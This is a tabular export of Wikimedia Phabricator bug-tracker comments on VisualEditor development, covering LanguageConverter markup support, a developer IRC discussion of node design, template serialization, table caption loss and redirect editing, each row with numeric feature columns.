884770,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",See https://www.mediawiki.org/wiki/Parsoid/Language_conversion#Testing_LanguageConverter_with_Parsoid_and_VisualEditor for setup & test hints.,,,1498753539,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,208,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,See URL for setup & test hints.
884051,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 361921 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] WIP: Dialog for editing LanguageConverter markup

[[https://gerrit.wikimedia.org/r/361921]]
",,,1498674768,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,208,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,12.0,4.333333333333333,0.7619047619047619,"Change 361921 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] WIP: Dialog for editing LanguageConverter markup

[[GERRIT_URL]]
"
874526,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 358396 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] Node inspector for LanguageConverter markup

[[https://gerrit.wikimedia.org/r/358396]]
",,,1497285783,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,206,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,28.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,18.0,4.45,0.775,"Change 358396 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] Node inspector for LanguageConverter markup

[[GERRIT_URL]]
"
868831,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","@deskana sure:  Theres's fully-functioning Parsoid support in https://gerrit.wikimedia.org/r/140235 (T43716 phase 1).  VE currently ""alienates"" these blocks, which means they are invisible and uneditable but round-trip fine if you don't touch them.

I'm currently working on some basic support for displaying/editing the language converter rules in VE (which is what this task is about).  Very rough start of a patch above; there are some representation issues to work out.  VE is a little weak on directly editing generated content.  I'll copy some discussion with @Catrope here:

(05:17:05 PM) cscott-free: Roan: is there any precedent in VE for an inline BranchNode ?
(05:17:30 PM) cscott-free: that is, a Node that behaved like an annotation: you could edit inside it, and it was laid out inline.
(05:17:43 PM) RoanKattouw: No I don't think so
(05:18:01 PM) RoanKattouw: There are inline nodes like images
(05:18:14 PM) cscott-free: yes, but they are ve.ce.LeafNodes, not allowed to have any contents
(05:18:22 PM) RoanKattouw: But no inline nodes that have children
(05:18:33 PM) cscott-free: even BlockImage is a LeafNode, and you have to click into the inspector to edit the caption
(05:18:38 PM) RoanKattouw: Yeah
(05:18:52 PM) RoanKattouw: So, I would like us to have inline editing of image captions
(05:19:01 PM) RoanKattouw: But it wouldn't be done that way
(05:19:09 PM) RoanKattouw: What is the application you have in mind?
(05:19:34 PM) cscott-free: I tried to use toDataElement to convince the dm that my `<span>` was actually an annotation, but that didn't work quite right with generated content.
(05:20:24 PM) cscott-free: `-{R|foo}-` is a silly sort of `<nowiki>`, right?  But it's represented by Parsoid as `<span typeof=""mw:LanguageVariant"" data-mw-variant='{....text:""foo""}'></span>`
(05:20:43 PM) RoanKattouw: What does that syntax mean again?
(05:21:01 PM) cscott-free: It just means ""protect `foo` from language conversion""
(05:21:09 PM) RoanKattouw: Aha OK
(05:21:20 PM) cscott-free: but there are other similar forms
(05:21:22 PM) RoanKattouw: Does it also output Foo?
(05:21:25 PM) cscott-free: yes
(05:21:37 PM) RoanKattouw: Then shouldn't the span be not empty?
(05:21:49 PM) cscott-free: well... maybe.
(05:22:16 PM) RoanKattouw: I mean, at least for display purposes you would want that, right?
(05:22:22 PM) cscott-free: see https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec/Language_conversion_blocks#Alternative_2
(05:22:45 PM) RoanKattouw: Also, am I allowed to have annotations inside?
(05:22:56 PM) RoanKattouw: Can part of foo be bold, or a link?
(05:23:01 PM) cscott-free: yes, you can have annotations inside
(05:22:56 PM) cscott-free: the idea is that eventually we'll do the actual language conversion client-side, and so we'd fill the empty spans with the correct thing based on the currently-selected variant
(05:23:12 PM) RoanKattouw: Oh, I see
(05:23:30 PM) RoanKattouw: So it behaves kind of like a reference then
(05:23:42 PM) RoanKattouw: Or a mix between that and an auto numbered link
(05:23:43 PM) cscott-free: in other cases, there might be more than one possible output in there, and I only want to see one of them (at a time)
(05:23:49 PM) RoanKattouw: Right
(05:24:10 PM) RoanKattouw: So the content isn't text then, it's HTML
(05:24:14 PM) cscott-free: yeah
(05:24:38 PM) cscott-free: and it's got the usual ""could be block, could be inline"" thing that MWTransclusionNode deals with
(05:24:55 PM) RoanKattouw: That's a tricky one, I'd recommend picking edsanders and David's brains too
(05:25:12 PM) RoanKattouw: The fact that it can be block is very annoying
(05:25:23 PM) RoanKattouw: That makes it hard to make it an annotation
(05:26:01 PM) cscott-free: RoanKattouw: yes, and it's something I'd eventually like to fix on the PHP side.  But there are a few cases like -{zh-cn:==Foo==;zh-tw:==Bar==}-
(05:26:15 PM) cscott-free: which should really be rewritten as == -{zh-cn:Foo;zh-tw:Bar}- ==
(05:27:19 PM) cscott-free: usual annoying story about balance, templates, markup boundaries, etc.
(05:26:14 PM) RoanKattouw: Right
(05:25:13 PM) cscott-free: At any rate, I guess the easiest way to get started here is to implement it as a 'boring' LeafNode and not allow direct editing, you'll have to use an inspector
(05:27:15 PM) RoanKattouw: If it's only annotated text, then you could make it an annotation that would have to do some magic to generate its own content and feed the right content back into data-mw
(05:29:03 PM) cscott-free: yeah, with an annotation i just hit a roadblock in ve.dm.Converter:getDomSubtreeFromData which doesn't give me a way to return the annotation *and* the data contained as an array from toDataElement, the way that nodes can
(05:29:30 PM) cscott-free: so I might patch that and handle the case where toDataElement returns an array of length > 1 from toDataElement
(05:29:45 PM) cscott-free: but figured I'd check to make sure I wasn't missing something obvious first
(05:30:01 PM) RoanKattouw: Yeah you'll have to invent something new here
(05:30:16 PM) RoanKattouw: In both directions
(05:30:31 PM) RoanKattouw: Or add pre- and post-processing steps
(05:30:15 PM) cscott-free: I might also just give in an generate explicit <span typeof=""mw:LanguageVariant/raw"">foo</span> for some of these cases
(05:30:24 PM) cscott-free: which would be a more direct analog of <nowiki>
(05:30:43 PM) RoanKattouw: Also look at how nowiki works on the way out
(05:31:07 PM) RoanKattouw: It's not really the same, it drops the annotation, but it might give you ideas
(05:31:04 PM) cscott-free: If you did -{foo<div>bar}- then I *think* the usual HTML5 treebuilding would split the <span> over the <div> and you'd effectively get -{foo}-<div>-{bar}-
(05:31:32 PM) cscott-free: that works for the ""raw output"" case, but things get really hairy if there are multiple alternatives.
(05:31:38 PM) RoanKattouw: Well if the resulting HTML is too weird, you can just alienate it
(05:32:25 PM) RoanKattouw: Which might even happen automatically because of special treatment of the mw: prefix and protections against misnesting
(05:33:13 PM) cscott-free: yeah, right now VE is alienating everything which is fine but because the <span>s are empty the result is that the content goes missing
(05:33:43 PM) cscott-free: again, maybe an indicator that this whole ""empty span to be filled with converted output"" idea isn't all that hot.  we'll see.
(05:34:20 PM) cscott-free: anyway, I think using a Node and just dealing with non-direct editing is the way to go for the crappy-first-draft.
(05:34:32 PM) cscott-free: although i'm curious how you planned to allow direct figure caption editing
(05:41:02 PM) RoanKattouw: cscott: Basically, make captions work the way references work, with their contents being in an internalList item or subdocument, then create a surface on that subdoc and embed it in the image frame
(05:41:22 PM) RoanKattouw: The subdocuments thing is a refactor I started in 2014 and never finished
(05:42:25 PM) RoanKattouw: You could also do it without changing the DM representation if you are able to make a surface for a subset of the document
(05:42:54 PM) RoanKattouw: But the change in representation would allow inline images to retain captions
(05:44:55 PM) cscott-free: Yeah, I just would want to be able to cursor seamlessly ""into"" the embedded subdoc.",,,1496353510,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,204,,0.5882352941176471,0.23529411764705882,0.17647058823529413,0.29411764705882354,0.7647058823529411,5.9411764705882355,1.411764705882353,0.11764705882352941,0.058823529411764705,0.35294117647058826,1.0,1.3529411764705883,0.11764705882352941,0.11764705882352941,0.47058823529411764,1.6470588235294117,0.29411764705882354,4.882352941176471,6.882352941176471,0.23529411764705882,1.5294117647058822,0.11764705882352941,0.0,0.0,0.7058823529411765,0.17647058823529413,0.0,0.23529411764705882,0.8823529411764706,1.0588235294117647,0.058823529411764705,3.8823529411764706,0.7647058823529411,1.3529411764705883,0.058823529411764705,0.9411764705882353,0.0,0.35294117647058826,0.17647058823529413,0.4117647058823529,0.058823529411764705,0.29411764705882354,0.29411764705882354,1.6470588235294117,0.0,0.5294117647058824,0.29411764705882354,0.11764705882352941,0.0,10.0,0.47058823529411764,0.6470588235294118,0.4117647058823529,0.6470588235294118,0.17647058823529413,0.11764705882352941,0.0,0.0,0.47058823529411764,0.058823529411764705,0.29411764705882354,0.8823529411764706,0.0,0.058823529411764705,0.17647058823529413,0.11764705882352941,0.0,4.411764705882353,2.5294117647058822,11.882352941176471,1.0588235294117647,2.235294117647059,6.352941176470588,0.0,0.0,0.0,0.0,4.529411764705882,1.0,4.0588235294117645,0.058823529411764705,4.235294117647059,6.882352941176471,9.470588235294118,0.5294117647058824,0.8235294117647058,0.0,4.235294117647059,0.0,1.0588235294117647,1.9411764705882353,0.23529411764705882,0.8823529411764706,0.11764705882352941,0.11764705882352941,0.7058823529411765,3.6992116434202544,0.6604002425712554,"SCREEN_NAME sure:  Theres's fully-functioning Parsoid support in GERRIT_URL (T43716 phase 1).  VE currently ""alienates"" these blocks, which means they are invisible and uneditable but round-trip fine if you don't touch them.

I'm currently working on some basic support for displaying/editing the language converter rules in VE (which is what this task is about).  Very rough start of a patch above; there are some representation issues to work out.  VE is a little weak on directly editing generated content.  I'll copy some discussion withSCREEN_NAME here:

(05:17:05 PM) cscott-free: Roan: is there any precedent in VE for an inline BranchNode ?
(05:17:30 PM) cscott-free: that is, a Node that behaved like an annotation: you could edit inside it, and it was laid out inline.
(05:17:43 PM) RoanKattouw: No I don't think so
(05:18:01 PM) RoanKattouw: There are inline nodes like images
(05:18:14 PM) cscott-free: yes, but they are ve.ce.LeafNodes, not allowed to have any contents
(05:18:22 PM) RoanKattouw: But no inline nodes that have children
(05:18:33 PM) cscott-free: even BlockImage is a LeafNode, and you have to click into the inspector to edit the caption
(05:18:38 PM) RoanKattouw: Yeah
(05:18:52 PM) RoanKattouw: So, I would like us to have inline editing of image captions
(05:19:01 PM) RoanKattouw: But it wouldn't be done that way
(05:19:09 PM) RoanKattouw: What is the application you have in mind?
(05:19:34 PM) cscott-free: I tried to use toDataElement to convince the dm that my CODE was actually an annotation, but that didn't work quite right with generated content.
(05:20:24 PM) cscott-free: CODE is a silly sort of CODE, right?  But it's represented by Parsoid as CODE
(05:20:43 PM) RoanKattouw: What does that syntax mean again?
(05:21:01 PM) cscott-free: It just means ""protect CODE from language conversion""
(05:21:09 PM) RoanKattouw: Aha OK
(05:21:20 PM) cscott-free: but there are other similar forms
(05:21:22 PM) RoanKattouw: Does it also output Foo?
(05:21:25 PM) cscott-free: yes
(05:21:37 PM) RoanKattouw: Then shouldn't the span be not empty?
(05:21:49 PM) cscott-free: well... maybe.
(05:22:16 PM) RoanKattouw: I mean, at least for display purposes you would want that, right?
(05:22:22 PM) cscott-free: see URL
(05:22:45 PM) RoanKattouw: Also, am I allowed to have annotations inside?
(05:22:56 PM) RoanKattouw: Can part of foo be bold, or a link?
(05:23:01 PM) cscott-free: yes, you can have annotations inside
(05:22:56 PM) cscott-free: the idea is that eventually we'll do the actual language conversion client-side, and so we'd fill the empty spans with the correct thing based on the currently-selected variant
(05:23:12 PM) RoanKattouw: Oh, I see
(05:23:30 PM) RoanKattouw: So it behaves kind of like a reference then
(05:23:42 PM) RoanKattouw: Or a mix between that and an auto numbered link
(05:23:43 PM) cscott-free: in other cases, there might be more than one possible output in there, and I only want to see one of them (at a time)
(05:23:49 PM) RoanKattouw: Right
(05:24:10 PM) RoanKattouw: So the content isn't text then, it's HTML
(05:24:14 PM) cscott-free: yeah
(05:24:38 PM) cscott-free: and it's got the usual ""could be block, could be inline"" thing that MWTransclusionNode deals with
(05:24:55 PM) RoanKattouw: That's a tricky one, I'd recommend picking edsanders and David's brains too
(05:25:12 PM) RoanKattouw: The fact that it can be block is very annoying
(05:25:23 PM) RoanKattouw: That makes it hard to make it an annotation
(05:26:01 PM) cscott-free: RoanKattouw: yes, and it's something I'd eventually like to fix on the PHP side.  But there are a few cases like -{zh-cn:==Foo==;zh-tw:==Bar==}-
(05:26:15 PM) cscott-free: which should really be rewritten as == -{zh-cn:Foo;zh-tw:Bar}- ==
(05:27:19 PM) cscott-free: usual annoying story about balance, templates, markup boundaries, etc.
(05:26:14 PM) RoanKattouw: Right
(05:25:13 PM) cscott-free: At any rate, I guess the easiest way to get started here is to implement it as a 'boring' LeafNode and not allow direct editing, you'll have to use an inspector
(05:27:15 PM) RoanKattouw: If it's only annotated text, then you could make it an annotation that would have to do some magic to generate its own content and feed the right content back into data-mw
(05:29:03 PM) cscott-free: yeah, with an annotation i just hit a roadblock in ve.dm.Converter:getDomSubtreeFromData which doesn't give me a way to return the annotation *and* the data contained as an array from toDataElement, the way that nodes can
(05:29:30 PM) cscott-free: so I might patch that and handle the case where toDataElement returns an array of length > 1 from toDataElement
(05:29:45 PM) cscott-free: but figured I'd check to make sure I wasn't missing something obvious first
(05:30:01 PM) RoanKattouw: Yeah you'll have to invent something new here
(05:30:16 PM) RoanKattouw: In both directions
(05:30:31 PM) RoanKattouw: Or add pre- and post-processing steps
(05:30:15 PM) cscott-free: I might also just give in an generate explicit <span typeof=""mw:LanguageVariant/raw"">foo</span> for some of these cases
(05:30:24 PM) cscott-free: which would be a more direct analog of <nowiki>
(05:30:43 PM) RoanKattouw: Also look at how nowiki works on the way out
(05:31:07 PM) RoanKattouw: It's not really the same, it drops the annotation, but it might give you ideas
(05:31:04 PM) cscott-free: If you did -{foo<div>bar}- then I *think* the usual HTML5 treebuilding would split the <span> over the <div> and you'd effectively get -{foo}-<div>-{bar}-
(05:31:32 PM) cscott-free: that works for the ""raw output"" case, but things get really hairy if there are multiple alternatives.
(05:31:38 PM) RoanKattouw: Well if the resulting HTML is too weird, you can just alienate it
(05:32:25 PM) RoanKattouw: Which might even happen automatically because of special treatment of the mw: prefix and protections against misnesting
(05:33:13 PM) cscott-free: yeah, right now VE is alienating everything which is fine but because the <span>s are empty the result is that the content goes missing
(05:33:43 PM) cscott-free: again, maybe an indicator that this whole ""empty span to be filled with converted output"" idea isn't all that hot.  we'll see.
(05:34:20 PM) cscott-free: anyway, I think using a Node and just dealing with non-direct editing is the way to go for the crappy-first-draft.
(05:34:32 PM) cscott-free: although i'm curious how you planned to allow direct figure caption editing
(05:41:02 PM) RoanKattouw: cscott: Basically, make captions work the way references work, with their contents being in an internalList item or subdocument, then create a surface on that subdoc and embed it in the image frame
(05:41:22 PM) RoanKattouw: The subdocuments thing is a refactor I started in 2014 and never finished
(05:42:25 PM) RoanKattouw: You could also do it without changing the DM representation if you are able to make a surface for a subset of the document
(05:42:54 PM) RoanKattouw: But the change in representation would allow inline images to retain captions
(05:44:55 PM) cscott-free: Yeah, I just would want to be able to cursor seamlessly ""into"" the embedded subdoc."
868806,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 356739 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] WIP: Specialized inspector for LanguageConverter markup

[[https://gerrit.wikimedia.org/r/356739]]
",,,1496351770,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,204,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,29.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,4.5,0.7619047619047619,"Change 356739 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] WIP: Specialized inspector for LanguageConverter markup

[[GERRIT_URL]]
"
868585,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",@cscott Any updates for us on this since it's reopened? :-),,,1496332721,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,204,,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.076923076923077,1.0,SCREEN_NAME Any updates for us on this since it's reopened? :-)
49394,VisualEditor: MWTemplateNode should serialize original HTML if unchanged,"If we get an MWTemplateNode and the user doesn't change it, then in the data->DOM conversion we should serialize it back out the way it came in, including all the other nodes (the template contents) that we normally discard.

Discarding these nodes when the user did change the template (i.e. the attributes changed) is fine and encouraged, but if we also do it when nothing changed, Parsoid's DOM diff algorithm will notice that we changed something in the DOM, causing selective serialization not to skip the template while it should.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1366341300,1366733313.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-ctzq3dsxntnt7zcuqb4y,task_description,resolved,True,c1,1,False,False,True,-11,,0.5,1.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.5,2.5,0.5,0.0,0.0,0.0,3.0,0.5,5.0,6.5,1.5,1.0,1.5,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,1.5,6.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,6.0,1.0,5.5,5.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.5,6.5,4.5,0.0,0.0,0.0,6.5,0.0,1.5,0.5,0.0,2.0,0.0,0.0,0.5,4.262295081967213,0.7213114754098361,"If we get an MWTemplateNode and the user doesn't change it, then in the data->DOM conversion we should serialize it back out the way it came in, including all the other nodes (the template contents) that we normally discard.

Discarding these nodes when the user did change the template (i.e. the attributes changed) is fine and encouraged, but if we also do it when nothing changed, Parsoid's DOM diff algorithm will notice that we changed something in the DOM, causing selective serialization not to skip the template while it should.

--------------------------
**Version**: unspecified
**Severity**: normal"
210712,VisualEditor: MWTemplateNode should serialize original HTML if unchanged,Related URL: https://gerrit.wikimedia.org/r/60110 (Gerrit Change I2bbb5d2d6a90c4eb87fa129671112c92a9b931e7),,,1366474230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctzq3dsxntnt7zcuqb4y,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2bbb5d2d6a90c4eb87fa129671112c92a9b931e7)
49349,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,"1. Go to: http://ve-change-marking.instance-proxy.wmflabs.org/wiki/Test2
2. Open page in VisualEditor
3. Open browser console.
4. Run ve.dm.converter.getDomFromData( ve.instances[0].documentModel.store, ve.instances[0].documentModel.data.data ).body.outerHTML
5. You get the following output:
--------------
<body><table data-parsoid=""{&quot;tsr&quot;:[0,3],&quot;dsr&quot;:[0,49,3,2]}"">
This is a caption
<tbody data-parsoid=""{&quot;dsr&quot;:[24,47,0,0]}""><tr data-parsoid=""{&quot;tsr&quot;:[24,26],&quot;startTagSrc&quot;:&quot;|-&quot;,&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[24,46,2,0]}"">
<td data-parsoid=""{&quot;tsr&quot;:[27,28],&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[27,46,1,0]}"">Table cell content</td></tr>
</tbody></table></body>
----------------

Notice the missing <caption> .. </caption> tags.
So, when Parsoid gets this, the caption is fostered out and shows up as a diff.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1366256040,1366298405.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-bflgm4moy2wypdjtiaao,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.5,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,7.5,0.5,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.5,4.0,2.5,0.0,1.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,9.5,6.404411764705882,0.6617647058823529,"1. Go to: URL
2. Open page in VisualEditor
3. Open browser console.
4. Run ve.dm.converter.getDomFromData( ve.instances[0].documentModel.store, ve.instances[0].documentModel.data.data ).body.outerHTML
5. You get the following output:
--------------
<body><table data-parsoid=""{&quot;tsr&quot;:[0,3],&quot;dsr&quot;:[0,49,3,2]}"">
This is a caption
<tbody data-parsoid=""{&quot;dsr&quot;:[24,47,0,0]}""><tr data-parsoid=""{&quot;tsr&quot;:[24,26],&quot;startTagSrc&quot;:&quot;|-&quot;,&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[24,46,2,0]}"">
<td data-parsoid=""{&quot;tsr&quot;:[27,28],&quot;autoInsertedEnd&quot;:true,&quot;dsr&quot;:[27,46,1,0]}"">Table cell content</td></tr>
</tbody></table></body>
----------------

Notice the missing <caption> .. </caption> tags.
So, when Parsoid gets this, the caption is fostered out and shows up as a diff.

--------------------------
**Version**: unspecified
**Severity**: major"
208171,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,...which has already been merged.,,,1366298405,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bflgm4moy2wypdjtiaao,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,...which has already been merged.
208167,VisualEditor: Caption tags are stripped from tables when VE converts data model to DOM,https://gerrit.wikimedia.org/r/59780,,,1366298361,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bflgm4moy2wypdjtiaao,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
49328,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"See bug 45808 for the corresponding Parsoid bug.

Currently editing a redirected page (say ""OLPC"") causes the following Bad Things to happen.

a) the edited page content is saved back to ""OLPC"", overwriting the original #REDIRECT

b) the page content is from ""One Laptop Per Child"", but with an added {{Redirect:OLPC}} template at the top; this extra template gets saved back with the rest of the edits.

In bug 45808, Parsoid will return a special <meta> or <link> tag in the body for redirected pages.  This bug is for the corresponding VE support to recognize that tag and provide a user-friendly interface for editing redirects.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
